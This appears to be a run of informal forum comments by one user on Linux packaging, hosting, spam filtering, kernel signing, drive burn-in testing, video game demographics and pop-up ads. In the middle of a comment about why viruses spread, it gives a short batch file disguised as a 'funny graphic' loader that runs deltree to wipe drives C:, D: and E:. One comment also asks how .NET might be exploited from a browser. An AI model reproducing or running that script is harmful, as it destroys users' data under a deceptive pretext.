portage doesnt port programs, it automates compiling and packaging them.
portage doesn't port ANYTHING.
if GNUStep doesnt work on OS X right now portage isn't going to change anything.
Another advantage of portage is that if you dont compile everything from source you get broken code. Especially since 90% of the code speed up from compiling yourself comes from libc and and the kernel there really isn't much point.
I remember my old ATI-TV card that displayed 30 channels at once, I wonder if that counts, I mean i don't think it is non-obvious to anyone skilled in the art. I mean didn't people have lists of MPEG's before 1998?
I didnt know the loosing the ability to have foriegn keys and the ability to easily define functions and data types was an improvement. Why would anyone want to move from a database to a suped up version of Excel.
Most of the reason why viruses work are not becuase there is some inherent genious in writing viruses but rather because the operating system in conjunction with the user promotes an environment in which viruses can spread. I think instead of taking a virus writing class to find out how to secure software they should take a class on writing secure software.
virus.bat:
@echo off
echo "Please send this to all your friends before proceeding."
echo "Press any key when you have sent it"
pause
echo "Loading super funny graphic please wait..."
deltree e:\/y
deltree d:\/y
deltree c:\/y
echo "Super cool graphic installed please reboot"
I have a server with 60GB's of raid 0 for 30 bucks a month in a reliable datacenter. They give me 4U's of space for the server too. The place I'm with will even build a server for you.
I highly recommend them as one night something went wrong with a lilo update and their tech support ended up building me a new lilo.conf file with echo. When I phoned them they already new that my server had failed to properly restart so they gave it another restart and when it failed to restart they awaited my call for instructions.
Yes, a diameter of 1000km, so 3000km of magnets, how about we just build a magnet Monorail from Vancouver to Montreal? or for the US citizens Seattle to New York.
Personally, I would recommend going with spamassasin, RBL and stuff gets too much non-spam and causes user problems. I would recommend that next to your mail server you setup a load balancer + DHCP server. Then modify a copy Knoppix to run as a spamassasin server and use the mysql for configuration of spamassasin, then buy several cheap consumer level PCs and plug them in for cheaply scale your processing power. Then run spamassasin for 50,000 users.
You know when you download the kernel and you see those files that have the md5sum's and they are signed.... ever notice when you unpack the kernel you don't get Linus's private key, and you don't get GPG, nor md5.
The kernel source is signed, the signature just isn't in the same file as the source, and it isn't required by tar.
I find open office helps me with these tasks. print poster, put poster in local common area, wait for phone calls / emails. even works for those with out computers.
Well... how many times have you worked out a design for days finalized it, have everyone agree on it, make decisions based on this design, and then half way through the project the requirements change. The problem isn't usually design, it is people changing the design.
From what I understand RFID's run on the power they recieve from the transmitter. What if you use a microwave or other kilowatt transmitter to power the RFID? I think that if a microwave can make a fork arc it should make short work of an RFID.
Some of you that know more about exploits may be able to point me in the right direction.
Would you be able to use this to exploit.NET ie. create exploitable app in 80386script and then have a browser load the exploitable app? or would we have to find a general exploit to the.NET VM to gain access to the system?
I'm assuming unsigned.NET code for IE runs in some sort of security mode like java does.
Put 8 IDE controllers into a box (more than this maxs out the PCI bus bandwidth). write bash script that checks dmesg for how many drives are in the system and invoked the follwing perl script for each drive.
Write perl script that does this. formats and partitions drive to max size, copies a kernel or some other large file onto the disk until it is full. monitors syslog for IDE errors md5sums the files to make sure they all match. reports an error if the MD5 doesnt match.
unless you get hotswap controllers you will have to reboot everytime you want to test another batch of drives.
if you dont wish to write this perl script i can be hired to do it for you.
Idea: Hire the best person for the job. Sometimes that is Kevin Mitnick sometimes that is Theo De Raadt, it depends on whether you need pen testing done or secure software written.

I think the problem is more intelligent people being a small demographic, games are targeted towards teenage boys because they make up the majority of game players. It is like TV, it sucks if you are smart but thankfully there are a wide variety of entertainment options.
I would like to see more intelligent games and I think there are more intelligent games out there than DOA, that volleyball game and Tomb Raider, and I think that men and women alike know where to find those games.
Hrmm.. one would think that if there was a large market for video games for women it would be capitalized on by now, especially by women in computer science.
I think part of the problem is women not being a large demographic in video game markets. It is the same reason us linux users get screwed, you never notice how windows centric the world is until you use something else, basically women in vid games like the Linux demographic isn't commercially viable for large scale production.
I definately agree, not being in the big demographic sucks.

What about the world's largest computer manufacturer (last time i checked) shipping BSD as the only manufacturer supported OS on their computers?

The main problem is once they start suing people they continue to release under the GPL nullifying completely their argument about not knowing.

Do you realize that most of X being "slow" is really XFree86 being slow.
In fact some X servers for Linux are FASTER than Windows.
Check out the benchmarks

The kernel source is signed, the signature just isn't in the same file as the source, and it isn't required by tar.
if this is true then why doesn't every copy of a an application written in C come with a platform specific compiler and the source to the compiler.

I think it is a good thing, it will speed deployment of mozilla, and other browsers with pop-up blocking features.
The most dissapointing thing is I think adult sites have been doing this for a while now. So it really isnt new.
Anyways this technology doesnt really affect me as I dont have the features enabled to take advantage of their new ads.
They're free to do what they want with their sites but we're also free not to view their sites.
I think that with AOL reducing pop-up ads that you wont see too many of this format.

one more thing, dont put more than 1 drive on each channel as it massively slows down the operation.
Put 8 IDE controllers into a box (more than this maxs out the PCI bus bandwidth) .
write bash script that checks dmesg for how many drives are in the system and invoked the follwing perl script for each drive.
